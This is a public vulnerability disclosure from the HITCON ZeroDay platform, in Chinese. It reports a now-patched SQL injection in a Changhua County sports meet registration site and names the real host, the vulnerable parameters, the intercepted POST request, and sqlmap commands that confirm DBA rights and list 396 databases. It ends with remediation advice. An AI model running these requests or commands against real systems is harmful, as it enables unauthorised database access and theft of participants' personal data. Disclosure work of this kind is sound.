彰化縣縣民運動大會報名系統 SQL Injection 漏洞 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-00878
  •  發信 Vendor: {彰化縣縣民運動大會}
  • Title: 彰化縣縣民運動大會報名系統 SQL Injection 漏洞
  • Introduction: score_query.php 的 sel_date、sel_event 參數未過濾即帶入 SQL 查詢,導致可進行資料庫注入並取得整個後端資料庫內容。

處理狀態

目前狀態

公開
Last Update : 2026/09/02
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2026/07/01 17:54:53 : 新提交 (由 Bun_. 更新此狀態)
  • 2026/07/01 17:55:52 : 新提交 (由 Bun_. 更新此狀態)
  • 2026/07/07 13:34:55 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/07/23 16:03:19 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/07/23 16:03:19 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/07/23 16:03:19 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/08/26 11:10:24 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2026/09/01 16:05:36 : 確認已修補 (由 Bun_. 更新此狀態)
  • 2026/09/02 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2026-00878
  • 通報者:Superliverbun (Bun_.)
  • 風險:嚴重
  • 類型:資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://w2.athletics.org.tw/~www/changhua2019/score_query.php?action=menu&htm=2&mode=1&ItNo=21&device=&ID=&minor=

敘述

彰化縣 108 年縣民運動大會報名系統的成績查詢功能 score_query.php,其 POST 參數 sel_date 與 sel_event 在帶入後端 SQL 查詢前未經任何過濾或參數化處理,存在 SQL Injection 漏洞。

  1. 攔截成績查詢的 POST 請求,內容如下:
POST /~www/changhua2019/score_query.php HTTP/1.1
Host: w2.athletics.org.tw
Content-Type: application/x-www-form-urlencoded

action=menu&mode=1&htm=2&ItNo=21&ID=&sel_date=1080816&sel_event=
  1. 使用 sqlmap 對 sel_date、sel_event 參數進行注入測試,並確認當前使用者是否為 DBA:
sqlmap -r req100.txt -p sel_event,sel_date --batch --random-agent --is-dba

確認三種注入皆成立,且 current user is DBA: True:

  • Boolean-based blind
  • Time-based blind(MySQL SLEEP)
  • UNION query(64 columns)

圖片

  1. 進一步列舉所有資料庫:
sqlmap -r req100.txt -p sel_event,sel_date --batch --random-agent --is-dba --dbs

於 DBA 權限下可列舉出全系統共 396 個資料庫,包含歷年各縣市運動大會(changhua2019 ~ changhua2026 等)及多個其他單位資料庫。
圖片

由於注入點具備 DBA 權限,攻擊者可任意讀取、修改全系統 396 個資料庫的內容,包含各屆比賽參賽者的個人資料(姓名、報名資訊等),並可進一步利用 LOAD_FILE() 等功能讀取伺服器檔案,造成大規模個資外洩與系統淪陷風險。

修補建議

1. 所有 SQL 查詢改用參數化查詢(Prepared Statements),勿將使用者輸入直接拼接進 SQL 語句。
2. 對 sel_date、sel_event 等參數進行型別與格式驗證(如日期僅允許數字)。
3. 移除網頁應用所使用之資料庫帳號的 DBA/FILE 權限,遵循最小權限原則,並限制其僅能存取必要的單一資料庫。
4. 全面盤點其他頁面是否存在相同問題(如 rank_stat.php 等)。

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;